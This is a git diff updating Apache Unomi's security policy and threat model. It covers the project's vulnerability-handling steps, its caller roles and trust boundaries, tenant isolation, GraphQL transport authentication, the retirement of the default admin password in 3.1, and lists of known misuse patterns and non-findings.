diff --git a/SECURITY.md b/SECURITY.md
index 4a7e188b70..1fb715e55c 100644
--- a/SECURITY.md
+++ b/SECURITY.md
@@ -19,8 +19,26 @@ limitations under the License.
## Reporting a Vulnerability
`apache/unomi` follows the [Apache Software Foundation security process](https://www.apache.org/security/). Please report suspected
-vulnerabilities privately to `security@apache.org` (the ASF security team routes Unomi reports to the project's private list, `private@unomi.apache.org`); do not open public
-GitHub issues or pull requests for security reports.
+vulnerabilities privately to `security@apache.org` (the ASF Security Team routes Unomi reports to the project's private PMC list,
+`private@unomi.apache.org`); do not open public GitHub issues or pull requests for security reports.
+
+## How the PMC handles reports
+
+Unomi follows the default ASF process in
+[ASF Project Security for Committers — Handling a possible vulnerability](https://apache.org/security/committers.html#vulnerability-handling).
+Unomi does not currently maintain a dedicated `security@unomi.apache.org` list, so further private mail about an undisclosed issue
+should be copied to `security@apache.org` as that guide requires.
+
+Summary of the steps the PMC applies:
+
+1. **Work in private** — no public Jira/GitHub issues; commit messages must not call out the security nature of the fix until announcement.
+2. **Acknowledge** — email the reporter (cc `security@apache.org` / `private@unomi.apache.org`).
+3. **Investigate** — triage against [THREAT_MODEL.md](./THREAT_MODEL.md); **accept** or **reject** each distinct finding (a multi-issue report may be split).
+4. **If rejected** — write to the reporter explaining why (cc security lists). Rejection reasons include out-of-model / by-design findings and issues that affect **only unreleased** development code with no released-line impact (still fix before the next GA when appropriate).
+5. **If accepted** — tell the reporter we are working on a fix; request CVE ID(s) via [cveprocess.apache.org](https://cveprocess.apache.org) or `security@apache.org` (ASF Security can advise on splitting/merging CVEs).
+6. **Resolve** — agree the fix privately; document on the ASF CVE portal; share fix + draft announcement with the reporter; commit without security references; ship a release that includes the fix.
+7. **Announce** — with or after the release announcement (reporter, project lists, `security@apache.org`, `oss-security@lists.openwall.com`).
+8. **Complete** — update [unomi.apache.org/security/](https://unomi.apache.org/security/) and CVE references.
## Threat Model
diff --git a/THREAT_MODEL.md b/THREAT_MODEL.md
index f536032efc..2256af7f72 100644
--- a/THREAT_MODEL.md
+++ b/THREAT_MODEL.md
@@ -19,160 +19,186 @@ limitations under the License.
## §1 Header
- **Project:** Apache Unomi (`apache/unomi`), `master` branch, against which this draft was written. This model covers the **apache/unomi** server; `unomi-tracker` (browser tracking client) and `unomi-site` (website) are in the engagement scope but are treated here as satellites (see §2/§3).
-- **Date:** 2026-06-02. **Status:** draft — for Apache Unomi PMC review. **Author:** ASF Security team (drafted via the Scovetta threat-model rubric), for PMC ratification.
+- **Date:** 2026-06-02; **amended:** 2026-08-06 (PMC triage amendments — role split, GraphQL transports, tenant isolation, closed §14 Q1 / Q8a; default-password: documented today + 3.1 hardening commitment); **amended:** 2026-08-07 (UNOMI-972 — the 3.1 default-password retirement shipped; §5a layer 2, §9, §10, §11, §11a, §12, §13 and §14 Q1 revised from commitment to shipped state). **Status:** draft — for Apache Unomi PMC review. **Author:** ASF Security team (drafted via the Scovetta threat-model rubric), for PMC ratification; amendments by Unomi PMC.
- **Version binding:** versioned with the project; a report against version *N* is triaged against the model as it stood at *N*.
-- **Reporting cross-reference:** §8-property violations → report privately per ASF process (`security@apache.org` → `private@unomi.apache.org`); §3/§9 findings are closed citing this document.
+- **ASF vulnerability handling:** the PMC follows [Handling a possible vulnerability](https://apache.org/security/committers.html#vulnerability-handling) (see also `SECURITY.md`): work in private → acknowledge → investigate → **accept or reject** (with written reasons) → for accepted issues: CVE via `cveprocess.apache.org` / `security@apache.org` → private fix → release → announce → update project security pages. Unomi has no dedicated `security@unomi.apache.org`; copy private vulnerability mail to `security@apache.org`.
+- **Accept vs reject (released vs unreleased):** **Accept** (and continue through CVE/fix/release/announce) findings that are in-model vulnerabilities in **released** Unomi lines (e.g. 2.x, 3.0.x). **Reject** as a security vulnerability in released Apache software — with a clear explanation to the reporter — findings that (a) are `OUT-OF-MODEL` / `BY-DESIGN` / `KNOWN-NON-FINDING` per this document, or (b) exist **only** on unreleased development code (e.g. `master` / `3.1.0-SNAPSHOT` before any 3.1 GA) and do not affect a released line. Rejection under (b) does **not** mean “ignore”: still fix in the development branch before GA, but do not open a CVE or run the embargoed announce path solely for never-shipped code. When one email mixes both, **split the reply**: accept the released-line slice; reject (with fix-before-GA note) the unreleased-only slice. Ask `security@apache.org` if a borderline case needs a CVE anyway.
+- **Reporting cross-reference:** suspected §8 violations → `security@apache.org` → `private@unomi.apache.org`; dispositions cite this document.
- **Provenance legend:** *(documented)* = Unomi's own docs/repo/CVE advisories; *(maintainer)* = confirmed by an Unomi PMC member through this process; *(inferred)* = reasoned from architecture/history, not yet confirmed — each has a matching §14 open question.
-- **Draft confidence:** ~16 documented / 0 maintainer / ~30 inferred.
-- **What Unomi is:** Apache Unomi is a Java reference implementation of the OASIS Context Server (CXS) spec — a Customer Data Platform. It collects behavioural events about visitors (typically from a browser via the `unomi-tracker` JavaScript over a public **context** endpoint), builds and stores profiles + segments, evaluates rules/conditions, and exposes data via REST and GraphQL APIs. It persists to Elasticsearch/OpenSearch. *(documented — README, manual)*
+- **Draft confidence:** ~16 documented / several maintainer (Q1, Q2, Q7, Q8a) / remaining inferred.
+- **What Unomi is:** Apache Unomi is a Java reference implementation of the OASIS Context Server (CXS) spec — a Customer Data Platform. It collects behavioural events about visitors (typically from a browser via the `unomi-tracker` JavaScript over a public **context** endpoint), builds and stores profiles + segments, evaluates rules/conditions, and exposes data via REST and GraphQL APIs (HTTP and WebSocket). It persists to Elasticsearch/OpenSearch. *(documented — README, manual)*
## §2 Scope and intended use
- **Primary use:** an operator-deployed **context server** that ingests visitor events over the network and serves profile/segmentation data to web properties and back-office tools. *(documented — manual)*
- **Caller roles** (network service — the role splits):
- - **public web client** — a browser running `unomi-tracker`, hitting the **public context endpoint** (`/context.json` and `/eventcollector` — `EventsCollectorServlet`) **unauthenticated**, from the open internet. The highest-value untrusted surface. *(inferred — confirm the public-endpoint exposure model)*
- - **integrator / API client** — calls the REST / GraphQL APIs, authenticated; may author conditions, rules, segments, scopes. **Trusted to its credential's authority.** *(inferred)*
- - **operator/admin** — controls config, the Karaf container, plugins, and the Elasticsearch/OpenSearch backend. **Trusted.** *(inferred)*
+ - **public web client** — a browser running `unomi-tracker`, hitting the **public context endpoint** (`/cxs/context.json` and `/cxs/eventcollector`) with a tenant **public** API key (`X-Unomi-Api-Key`), from the open internet. Highest-value untrusted surface. (Temporary exception: V2 compatibility mode may omit the public key while migrating.) *(documented — `security.adoc`)*
+ - **tenant administrator** — authenticates with Basic `tenantId:privateApiKey`. Trusted **only within that tenant’s data plane** (profiles, rules, segments, schemas for that tenant). **Not** trusted for host-level side effects (unsandboxed script execution, arbitrary filesystem or unconstrained Camel endpoints) or for other tenants’ data. *(maintainer — §14 Q8a)*
+ - **system administrator / operator** — JAAS (e.g. `karaf`) and control of the Karaf container, plugins, and the Elasticsearch/OpenSearch backend. Trusted for tenant CRUD, key minting, and host-impacting configuration. *(documented — manual; maintainer)*
+ - **integrator / API client** — any authenticated REST/GraphQL caller; **trusted only to its credential’s authority** (public key, tenant private key, or system admin). *(maintainer)*
- **cluster peer** — another Unomi node. *(inferred)*
**Component-family table:**
| Family | Entry point | Touches outside process | In model? |
| --- | --- | --- | --- |
-| Public context ingestion | `/context.json` + `/eventcollector` (`EventsCollectorServlet`, `wab`) | network (public listen) | **In — primary boundary** *(inferred)* |
+| Public context ingestion | `/cxs/context.json` + `/cxs/eventcollector` | network (public listen) | **In — primary boundary** *(documented)* |
| Rule / condition / segment engine + scripting | `services`, `scripting` (MVEL/OGNL expression eval) | evaluates expressions | **In — historically the RCE surface (§11)** *(documented: CVEs)* |
| JSON-Schema event validation | schema validation of incoming events | — | **In — the input-validation defense** *(documented: manual `jsonSchema`)* |
-| Admin REST + GraphQL APIs | `rest`, `graphql` | network (authenticated) | **In** *(documented: modules)* |
+| Admin REST APIs | `rest` | network (authenticated) | **In** *(documented: modules)* |
+| GraphQL HTTP + WebSocket | `/graphql` (queries/mutations over HTTP; subscriptions over WebSocket) | network (authenticated) | **In — auth must apply to every transport, including WebSocket upgrade/subscribe** *(maintainer)* |
+| Groovy actions extension | script upload/compile/dispatch | process (script exec) | **In — host-impacting ops require system administrator** *(maintainer — §14 Q8a)* |
+| Router import/export | Camel source/destination URIs | filesystem / remote endpoints | **In — path/host confinement required for multi-tenant safety** *(maintainer — §14 Q8a)* |
| Persistence | `persistence-elasticsearch` / `persistence-opensearch` | network → ES/OS backend | **In (Unomi's use of it); the backend's own security is operator's** *(inferred)* |
| Plugins / extensions / connectors | `plugins`, `extensions`, `connectors` | varies | **In core ones; third-party/`samples` out** *(inferred)* |
-| `unomi-tracker` (JS client) | browser | — | **Satellite — discoverability pointer; client-side, lower trust surface** *(inferred)* |
-| `unomi-site`, `samples`, `itests` | website / demos / tests | — | **Out** *(see §3)* |
+| `unomi-tracker` (JS client) | browser | — | **Satellite — discoverability pointer; client-side, lower trust surface** *(maintainer — §14 Q2)* |
+| `unomi-site`, `samples`, `itests` | website / demos / tests | — | **Out** *(see §3; maintainer — §14 Q2)* |
## §3 Out of scope (explicit non-goals)
- **Attackers who already control the host, the Karaf container, the config, the plugins, or the Elasticsearch/OpenSearch backend.** Operator-trusted. *(inferred)*
-- **`unomi-site`, `samples/`, `itests/`** — website + demo + test code, not production trust surface. *(inferred)*
+- **`unomi-site`, `samples/`, `itests/`** — website + demo + test code, not production trust surface. *(maintainer — §14 Q2)* A **core** action or endpoint that is unsafe when an operator follows a documented sample pattern can still be `VALID` / `VALID-HARDENING`; only the sample artifact itself is out of scope.
- **Confidentiality of profile data at rest / in the search backend** when the operator has not secured Elasticsearch/OpenSearch and the network — that is deployment hardening, not an Unomi code property, unless Unomi claims otherwise. *(inferred)*
-- **Arbitrary expression evaluation by a *trusted admin*** who authors a malicious condition/rule — an authenticated privileged user defining server-side logic is the intended (if powerful) feature, not an attack on Unomi. The boundary is whether *public/untrusted* input can reach expression evaluation (see §8/§11). *(inferred — confirm)*
+- **Arbitrary expression evaluation by a *system administrator*** who authors a malicious condition/rule — an authenticated system-privileged user defining server-side logic is the intended (if powerful) feature, not an attack on Unomi. The boundary is whether *public/untrusted* input, or a *lower-privilege* credential (e.g. tenant administrator), can reach that power (see §8/§11). *(maintainer — §14 Q7 / Q8a)*
## §4 Trust boundaries and data flow
-- **Primary boundary: the public context endpoint.** Event payloads arriving unauthenticated from browsers are **untrusted**. They flow → JSON-Schema validation → event/condition processing → profile update → persistence. The schema-validation step is the gate. *(inferred; schema validation documented)*
-- **Secondary boundary: the authenticated REST/GraphQL admin surface**, where conditions/rules/scopes are defined — trusted to the credential. *(inferred)*
+- **Primary boundary: the public context endpoint.** Event payloads arriving from browsers (public API key at most) are **untrusted**. They flow → JSON-Schema validation → event/condition processing → profile update → persistence. The schema-validation step and the public-event allow-list are the gates. *(documented; schema validation documented)*
+- **Secondary boundary: the authenticated REST/GraphQL surface** (HTTP **and** WebSocket), where conditions/rules/scopes are defined and subscriptions are opened — trusted only to the credential’s authority. A transport that skips the auth gate that other transports enforce is an in-model break. *(maintainer)*
+- **Tertiary boundary: tenant credential ↔ host / cross-tenant.** A tenant-administrator subject must not escape to host process powers (unsandboxed script compile/exec, absolute filesystem read/write, unconstrained Camel endpoints) or to another tenant’s data. *(maintainer — §14 Q8a)*
- **The historical break (load-bearing):** the public surface must **not** allow attacker-controlled input to reach OGNL/MVEL expression evaluation that can instantiate/call arbitrary Java — that was CVE-2020-11975 / CVE-2020-13942 / CVE-2021-31164, fixed by constraining the public surface. The model treats a regression of this kind as `VALID`/critical. *(documented — CVE advisories)*
-- **Reachability precondition:** a finding in `scripting`/condition-evaluation is **in-model** only if reachable from **public/unauthenticated** input (or from a lower privilege than the operation requires). Expression power available only to a trusted authenticated author is `OUT-OF-MODEL: trusted-input`. A finding on the ES/OS backend is in-model only if reachable through Unomi's API, not by directly attacking an exposed backend. *(inferred)*
+- **Reachability precondition:** a finding in `scripting`/condition-evaluation is **in-model** only if reachable from **public/untrusted** input **or from a lower privilege than the operation requires** (e.g. tenant admin reaching system-admin-only host power). Expression power available only to a system administrator is `OUT-OF-MODEL: trusted-input`. A finding on the ES/OS backend is in-model only if reachable through Unomi's API, not by directly attacking an exposed backend. *(maintainer)*
## §5 Assumptions about the environment
- **Runtime:** JVM; runs in an Apache Karaf / OSGi container. *(documented — kar/package/manual)*
- **Backend:** Elasticsearch or OpenSearch, assumed deployed on a trusted network and secured by the operator. *(inferred)*
-- **The public endpoint is internet-facing by design** (browsers post events directly); the admin APIs are assumed *not* public. Confirm. *(inferred)*
-- **Negative side-effects inventory** (predominantly inferred — wave-1/2 target): Unomi listens on HTTP; reads config from the Karaf container; talks to the search backend; loads OSGi plugins; evaluates conditions/expressions; the scripting engine executes expression logic authored through the (trusted) admin path. *(inferred)*
+- **The public endpoint is internet-facing by design** (browsers post events directly); the admin REST/GraphQL APIs are assumed *not* public and are authenticated. *(maintainer — §14 Q1)*
+- **Negative side-effects inventory** (predominantly inferred — wave-1/2 target): Unomi listens on HTTP; reads config from the Karaf container; talks to the search backend; loads OSGi plugins; evaluates conditions/expressions; the scripting engine executes expression logic authored through the (trusted) admin path; optional extensions (Groovy, router) can touch the filesystem and remote endpoints. *(inferred)*
## §5a Build-time and configuration variants
-Security-relevant configuration knobs *(all inferred — confirm names/defaults against `configuration.adoc`):*
+Security-relevant configuration knobs:
-- **Public-endpoint protection / third-party server allow-list + secured events** — the mechanism that distinguishes events a public client may send from those that require a trusted key. Default posture? *(inferred — Unomi has a "protected events" / third-party-server key concept)*
-- **JSON-Schema validation** of incoming events — on by default? Reject-unknown by default? *(inferred; feature documented)*
+- **Public-endpoint protection / third-party server allow-list + secured events** — the mechanism that distinguishes events a public client may send from those that require a trusted key. Default posture? *(inferred — Unomi has a "protected events" / third-party-server key concept; see §14 Q5)*
+- **JSON-Schema validation** of incoming events — on by default? Reject-unknown by default? *(inferred; feature documented; see §14 Q4)*
- **Expression/scripting allow-list** (post-CVE) — what restricts which classes/methods conditions may reference, and is it on by default? *(inferred; the CVE fixes introduced restrictions)*
-- **Authentication on the admin REST/GraphQL APIs** — default credentials? bound to localhost vs all interfaces by default? *(inferred — the insecure-default question; wave 1)*
+- **Authentication on the admin REST/GraphQL APIs** — packaged JAAS user `karaf` whose password comes from `org.apache.unomi.security.root.password`, which as of 3.1 resolves to `${env:UNOMI_ROOT_PASSWORD}` **with no fallback value**; `users.properties` carries no default either. The health user follows the same pattern via `UNOMI_HEALTHCHECK_PASSWORD`. **No known default password ships**. `bin/karaf` and the Docker entrypoint refuse to start when either variable is unset; note that `karaf.bat` ignores the exit code of the `setenv.bat` it calls, so on Windows the check warns but does not block startup, and any launcher that execs the JVM directly (systemd, Kubernetes command overrides) bypasses it. Operators must supply both explicitly. *(documented — `custom.system.properties`, `users.properties`, `configuration.adoc`; maintainer — §14 Q1)*
+- **Profile id cookie flags** — `contextserver.profileIdCookieHttpOnly` defaults to `true` unless overridden. *(documented — `org.apache.unomi.web.cfg` / `custom.system.properties`)*
+- **Router allowed endpoint schemes** — default allowlist includes `file,ftp,sftp,ftps`. *(documented — `org.apache.unomi.router.cfg`)*
-**Insecure-default check:** if any of (public-endpoint protection, schema validation, scripting allow-list, admin auth) ships *off* or with a default credential, a report against that default is `VALID` unless the PMC designates it a documented must-configure (`OUT-OF-MODEL: non-default-build`). This is a wave-1 ruling (§14).
+**Insecure-default check (PMC ruling) — two layers:**
+
+1. **Triage of reports against pre-3.1 builds:** on releases before 3.1, leaving the documented default JAAS password unchanged was a **documented must-configure** operator duty. A report that only shows “the shipped default admin password still works on a fresh pre-3.1 install” is `OUT-OF-MODEL: non-default-build` / `BY-DESIGN: property-disclaimed` (§9). Auth bypasses or missing gates on an admin surface (independent of the password value) remain `VALID`. *(maintainer — §14 Q1)*
+2. **Product commitment for the 3.1 release — shipped:** the PMC treated the shipped known default as accepted technical debt to retire in 3.1, and **3.1 retires it**. `org.apache.unomi.security.root.password` now resolves only from `UNOMI_ROOT_PASSWORD` with no fallback, `users.properties` carries no default, and the shell launchers fail fast when the variable is unset (advisory only on Windows, see §5a above); the health user follows the same pattern via `UNOMI_HEALTHCHECK_PASSWORD`. As defence in depth the REST layer additionally rejects any Basic credential with an empty password. **Because that retirement has shipped**, this §5a ruling now stands in its revised form: on 3.1 and later, a regression that reintroduces a known working default password — or any fallback that lets the admin API accept a credential the operator never configured — is `VALID`, not `VALID-HARDENING`. *(maintainer — §12 / §14 Q1)*
## §6 Assumptions about inputs
-Per-surface trust table *(all inferred unless noted):*
+Per-surface trust table:
| Surface | Input | Attacker-controllable? | Caller/operator must enforce |
| --- | --- | --- | --- |
-| Public context endpoint | event JSON, profile/session refs, scope | **yes (unauthenticated, public)** | JSON-schema validation on; public-event allow-list; no expression reach |
-| REST / GraphQL admin | conditions, rules, segments, queries | **yes, within the authenticated credential's authority** | authn + authz; restrict who may author expressions |
-| Condition / rule definitions | MVEL/OGNL expressions | **public: must be no; admin: yes-but-trusted** | keep expression authoring on the trusted side |
-| Persistence queries | derived from the above | indirectly | backend hardening; query/scope isolation |
+| Public context endpoint | event JSON, profile/session refs, scope | **yes (public client)** | JSON-schema validation on; public-event allow-list; no expression reach; profile/session refs treated as **bearer identifiers** (see §8) |
+| REST admin | conditions, rules, segments, queries, extension config | **yes, within credential authority** | authn + authz; system admin for host-impacting ops |
+| GraphQL HTTP | queries / mutations | **yes, within credential authority** | same auth gate as documented for GraphQL |
+| GraphQL WebSocket | subscription init + subscribe payloads | **yes** | **same auth as GraphQL HTTP**; no Subject → reject upgrade/subscribe |
+| Condition / rule definitions | MVEL/OGNL expressions | **public: must be no; system admin: yes-but-trusted** | keep expression authoring on the system-trusted side |
+| Public events → identity actions | merge/update target from event properties | **yes, when event type is public** | do not wire unverified identity claims to merge/update actions (§11) |
+| Persistence queries | derived from the above | indirectly | backend hardening; tenant/scope isolation |
| Plugins / connectors config | operator-supplied | no — operator-trusted | vet third-party plugins |
- **Size/shape/rate:** whether the public endpoint bounds event size / batch count / request rate against a flood is open (see §8 resource line). *(inferred)*
## §7 Adversary model
-- **Primary adversary:** an unauthenticated party who can reach the **public context endpoint** from the internet — trying to achieve code execution (the CVE history), read/modify other visitors' profiles, inject events to corrupt segmentation, or exhaust resources. *(documented threat history; framing inferred)*
-- **Secondary:** an authenticated API client trying to exceed its authority (read other scopes' data, escalate). *(inferred)*
-- **Capabilities:** craft arbitrary event/condition JSON to the public endpoint; replay; send large/malformed payloads. **Not** assumed: control of the admin credential, the container, or the backend. *(inferred)*
-- **Out of scope:** trusted admins authoring powerful (even dangerous) conditions; attackers with host/backend control. *(inferred)*
+- **Primary adversary:** an unauthenticated or public-API-key party who can reach the **public context endpoint** (and any other publicly reachable surface) — trying to achieve code execution (the CVE history), read/modify other visitors' profiles, open privileged GraphQL subscriptions without credentials, inject events to corrupt segmentation or rebind identity, or exhaust resources. *(documented threat history; maintainer framing)*
+- **Secondary:** an authenticated **tenant** API client trying to exceed its authority — cross-tenant read/write, host RCE, arbitrary filesystem or internal-network reach via import/export, uploading unsandboxed scripts. *(maintainer — §14 Q8a)*
+- **Capabilities:** craft arbitrary event/condition JSON to the public endpoint; replay; send large/malformed payloads; attempt WebSocket upgrade without credentials; use a stolen or issued tenant private key within (and beyond) its tenant. **Not** assumed: control of the system-admin credential, the container, or the backend. *(maintainer)*
+- **Out of scope:** system administrators authoring powerful (even dangerous) conditions; attackers with host/backend control. *(maintainer)*
## §8 Security properties the project provides
-*(All inferred pending PMC confirmation; the CVE-fix posture is documented history.)*
+*(CVE-fix posture is documented history; tenant and GraphQL transport lines are maintainer-confirmed.)*
-- **No code execution from public/untrusted input.** Public-endpoint input cannot reach OGNL/MVEL evaluation that instantiates or calls arbitrary Java — the post-CVE invariant. *Violation symptom:* RCE / arbitrary-class invocation from an unauthenticated request. *Severity:* security-critical. *(documented that this class was fixed; the standing guarantee is the claim to confirm)*
-- **Input validation at the public boundary.** Incoming events are validated against registered JSON Schemas; non-conforming input is rejected, not processed. *Violation symptom:* unvalidated/unknown event shape reaching processing. *Severity:* security-critical → moderate. *(documented feature; default/strictness to confirm)*
-- **Profile/scope access control.** A public client cannot read or modify profile data outside what the context/scope model permits; an API client is bounded by its authority. *Violation symptom:* cross-profile / cross-scope data access. *Severity:* security-critical (data exposure — PII). *(inferred)*
+- **No code execution from public/untrusted input.** Public-endpoint input cannot reach OGNL/MVEL evaluation that instantiates or calls arbitrary Java — the post-CVE invariant. *Violation symptom:* RCE / arbitrary-class invocation from an unauthenticated or public-key-only request. *Severity:* security-critical. *(documented)*
+- **Input validation at the public boundary.** Incoming events are validated against registered JSON Schemas; non-conforming input is rejected, not processed. *Violation symptom:* unvalidated/unknown event shape reaching processing. *Severity:* security-critical → moderate. *(documented feature; default/strictness — §14 Q4)*
+- **Profile/scope access control.** A public client cannot read or modify profile data outside what the context/scope model permits; an API client is bounded by its authority. On the public endpoints, `profileId` / `sessionId` are **bearer identifiers** (typically the `context-profile-id` cookie): possession of the identifier is the authorization model. *Violation symptom:* cross-profile / cross-scope data access **without** possessing that bearer (e.g. body `profileId` accepted when it does not match the cookie bearer; session→profile switch without ownership; unauthenticated GraphQL subscription receiving events). *Severity:* security-critical (data exposure — PII). *(maintainer)*
+- **Authentication on all GraphQL transports.** HTTP queries/mutations and WebSocket upgrade/subscribe share the same authentication requirements; subscriptions are not a public operation. *Violation symptom:* unauthenticated client completes upgrade and reaches `graphQL.execute` for a subscription. *Severity:* security-critical → high. *(maintainer)*
+- **Tenant isolation.** Credentials for tenant A cannot read or modify tenant B’s profiles, segments, rules, or keys. Unomi enforces this boundary in the data plane. *Violation symptom:* cross-tenant data access. *Severity:* security-critical. *(maintainer — §14 Q8a / UNOMI-139)*
+- **No privilege escalation beyond credential class.** Host-impacting operations (unsandboxed script upload/compile/exec, absolute filesystem access, unconstrained remote Camel endpoints) require **system administrator**, not tenant administrator. *Violation symptom:* tenant private key achieves host RCE, arbitrary file read, or equivalent. *Severity:* security-critical. *(maintainer — §14 Q8a)*
- **Resource bounds — UNSPECIFIED.** Whether a public event flood or an expensive segment/condition is a bug or expected-and-operator-managed is open. *(inferred)*
## §9 Security properties the project does *not* provide
-- **No protection if the admin REST/GraphQL APIs are exposed unauthenticated / with default creds** — keeping the admin surface off the public network + authenticated is the operator's job (pending §5a ruling). *(inferred)*
+- **No protection if the admin REST/GraphQL APIs are exposed to the public network** — keeping the admin surface off the public network is the operator's job (§10). On **pre-3.1** builds this disclaimer also covered leaving the documented default JAAS password unchanged (§5a layer 1). It does **not** extend to 3.1 and later: 3.1 ships no known default, so a credential that works without the operator having configured one is a defect there, not a disclaimed property (§5a layer 2). *(maintainer — §14 Q1)*
- **No confidentiality/integrity for the ES/OS backend or its network** — Unomi assumes a secured backend; it does not defend an exposed Elasticsearch. *(inferred)*
-- **Not a sandbox for admin-authored expressions/plugins** — a trusted author with condition/scripting authority can run server-side logic by design; that power is not contained. *(inferred)* **False friend:** the presence of the scripting/expression allow-list protects the *public* surface; it is not a sandbox that makes arbitrary admin-authored expressions safe.
+- **Not a sandbox for system-administrator-authored expressions/plugins** — a system admin with condition/scripting authority can run server-side logic by design; that power is not contained. *(maintainer — §14 Q7)* **False friend:** the presence of the scripting/expression allow-list protects the *public* surface; it is not a sandbox that makes arbitrary admin-authored expressions safe. **This disclaimer does not cover tenant-administrator script upload or Camel config that reaches host power** — that is a §8 privilege-escalation / tenant-isolation property.
+- **No sandbox for uploaded Groovy actions — uploading one is equivalent to shell access on the host.** A Groovy action is compiled and dispatched unrestricted inside the server JVM, with the server's user, classpath and network reach, and it is persisted and re-run. Treat `POST /cxs/groovyActions` as remote code execution *by design*, and the credential that reaches it as a host credential. From 3.1 the endpoint requires the **system** `ADMINISTRATOR` role — a tenant administrator (tenant private key) cannot reach it, and a report showing tenant-admin reach remains a §8 violation (§11a). No sandbox is planned, because none is dependable: the Java `SecurityManager` is deprecated-for-removal and disabled in current JDKs (JEP 411/486), Groovy's `SecureASTCustomizer` is a compile-time syntax restriction that dynamic dispatch routes around, and interceptor-based sandboxes have a sustained escape history. The controls are therefore the role gate, compiling without instantiating so an uploaded script cannot execute at upload time, and a WARN-level audit record of every save/remove with the script's SHA-256. Operators who do not use Groovy actions should uninstall the `unomi-groovy-actions` feature. *(maintainer)*
+- **No guarantee that possession of a visitor `profileId` UUID is hard** — the id is a bearer token; confidentiality of the cookie (and flags such as HttpOnly) is largely an operator/frontend concern, though unsafe defaults may be `VALID-HARDENING`. *(maintainer)*
- **No guarantee of correctness of analytics/segmentation under adversarial event injection** beyond the access-control boundary. *(inferred)*
-- **Well-known classes left to the caller/operator:** expression-injection (the CVE class — defended by constraining the public surface), event/PII-exposure via a misconfigured public endpoint, and DoS via event floods. *(documented history; framing inferred)*
+- **Well-known classes left to the caller/operator:** expression-injection (the CVE class — defended by constraining the public surface), event/PII-exposure via a misconfigured public endpoint, DoS via event floods, and deploying sample identity-merge rules without verified identity (§11). *(documented history; maintainer framing)*
## §10 Downstream responsibilities (operator/deployer)
-*(All inferred — confirm.)*
-
-- Keep the admin REST/GraphQL APIs **off the public network** and authenticated; change any default credentials. *(inferred)*
+- Keep the admin REST/GraphQL APIs **off the public network** and authenticated; on 3.1 and later, **set `UNOMI_ROOT_PASSWORD` and `UNOMI_HEALTHCHECK_PASSWORD` explicitly** before starting the server — there is no shipped default and the shell launchers will not start without them — on Windows, verify the password took effect rather than relying on the check. On pre-3.1 builds, change the documented default JAAS credentials before production use. *(maintainer — §14 Q1)*
- Keep JSON-Schema validation and the public-event allow-list **enabled**; register schemas for the events you accept. *(inferred)*
- Secure the Elasticsearch/OpenSearch backend + its network. *(inferred)*
-- Restrict who holds condition/rule/scripting authoring authority — it is equivalent to server-side code definition. *(inferred)*
+- Restrict who holds **system-administrator** condition/rule/scripting and extension-config authority — it is equivalent to server-side code definition. Treat **tenant private keys** as high privilege within a tenant, not as host-admin equivalents. *(maintainer)*
+- Do not deploy sample login-merge (or similar) rules that bind public events to identity-merge/update actions without a **verified** identity step. *(maintainer)*
+- Prefer `profileId` cookie `HttpOnly=true` (and Secure where appropriate) in production. *(maintainer)*
- Put the public endpoint behind rate-limiting / a CDN/WAF appropriate to public exposure. *(inferred)*
## §11 Known misuse patterns
-*(Draft one-liners — expand before publishing.)*
-
-- Exposing the admin REST/GraphQL APIs to the internet (or leaving default creds). *(inferred)*
+- Exposing the admin REST/GraphQL APIs to the internet; on pre-3.1 builds, leaving the documented default JAAS credentials unchanged in production; on 3.1 and later, reusing one shared, well-known `UNOMI_ROOT_PASSWORD` across deployments instead of provisioning a per-deployment secret. *(maintainer)*
- Disabling JSON-Schema validation or the public-event allow-list "to make integration easier", re-opening the public surface. *(inferred)*
- Treating the scripting/expression allow-list as a sandbox for admin-authored conditions. *(inferred)*
- Exposing Elasticsearch/OpenSearch alongside Unomi without backend auth. *(inferred)*
+- Wiring `mergeProfilesOnPropertyAction` / `updatePropertiesAction` (or equivalents) to **public** event types using unverified `eventProperty::` identity claims in production (the login-integration **sample** demonstrates the correct **server-side trusted** pattern under `/login/authenticate`; do not copy a browser→Unomi login POST). *(maintainer)*
+- Granting tenant administrators Groovy upload or router `file`/`ftp`/`sftp` configuration without path/host confinement. *(maintainer)*
+- Assuming GraphQL WebSocket is covered by HTTP-only auth checks. *(maintainer)*
## §11a Known non-findings (recurring false positives)
-*(Seed list — PMC confirmation here is the highest-leverage scan-suppression input.)*
+*(PMC confirmation here is the highest-leverage scan-suppression input.)*
-- "Unomi evaluates OGNL/MVEL expressions → RCE" — by-design for **trusted admin-authored** conditions; the public surface is constrained (post-CVE). A report is `VALID` only if it shows **public/unauthenticated** input reaching expression evaluation; otherwise `OUT-OF-MODEL: trusted-input` / `BY-DESIGN`. *(documented — CVE fixes)*
-- "Scripting / reflection present in `scripting` module" — needs the public-reachability test (§4) before it is a finding. *(inferred)*
-- "No auth on the context endpoint" — the public ingestion endpoint is unauthenticated **by design**; the protection is schema validation + the event allow-list, not authentication. *(inferred)*
+- "Unomi evaluates OGNL/MVEL expressions → RCE" — by-design for **system-administrator-authored** conditions; the public surface is constrained (post-CVE). A report is `VALID` only if it shows **public/untrusted** input, or a **lower privilege than required**, reaching expression evaluation / host script power; otherwise `OUT-OF-MODEL: trusted-input` / `BY-DESIGN`. *(documented — CVE fixes; maintainer — §14 Q7)*
+- "Scripting / reflection present in `scripting` module" — needs the public-reachability (or privilege-escalation) test (§4) before it is a finding. *(inferred)*
+- "No auth on the context endpoint" — the public ingestion endpoint is unauthenticated **by design** (aside from tenant public API key resolution); the protection is schema validation + the event allow-list, not visitor login. *(documented; maintainer)*
+- "Public `/context.json` returns profile data for a supplied `profileId`" — **by design** when that id is the caller’s bearer (cookie / equivalent). Not automatically `VALID` as “IDOR” merely because the attacker knows the UUID. `VALID` / `VALID-HARDENING` when the body id is accepted **without** matching the bearer cookie, when session load switches profile without ownership, or when cookie flags make XSS→id theft trivial by unsafe default. *(maintainer)*
- "Elasticsearch reachable / no TLS" — operator deployment responsibility (§9/§10). *(inferred)*
-- "Admin can run dangerous operation X" — out-of-model: admin is trusted (§7). *(inferred)*
+- "System administrator can run dangerous operation X" — out-of-model: system admin is trusted (§7). **Does not apply** to tenant administrator achieving host RCE, arbitrary file read, or cross-tenant access — those are §8 violations. *(maintainer — §14 Q8a)*
+- "Uploaded Groovy actions are not sandboxed / run arbitrary commands" — out-of-model against **3.1 and later**: upload requires the system `ADMINISTRATOR` role, and unrestricted execution is the documented, intended property of the feature (§9). `VALID` only if it shows a **lower privilege than system administrator** reaching upload (tenant private key, public key, unauthenticated), execution occurring at **upload/compile time** rather than at dispatch, or the role gate being bypassable. Absence of a sandbox is not itself a finding. *(maintainer)*
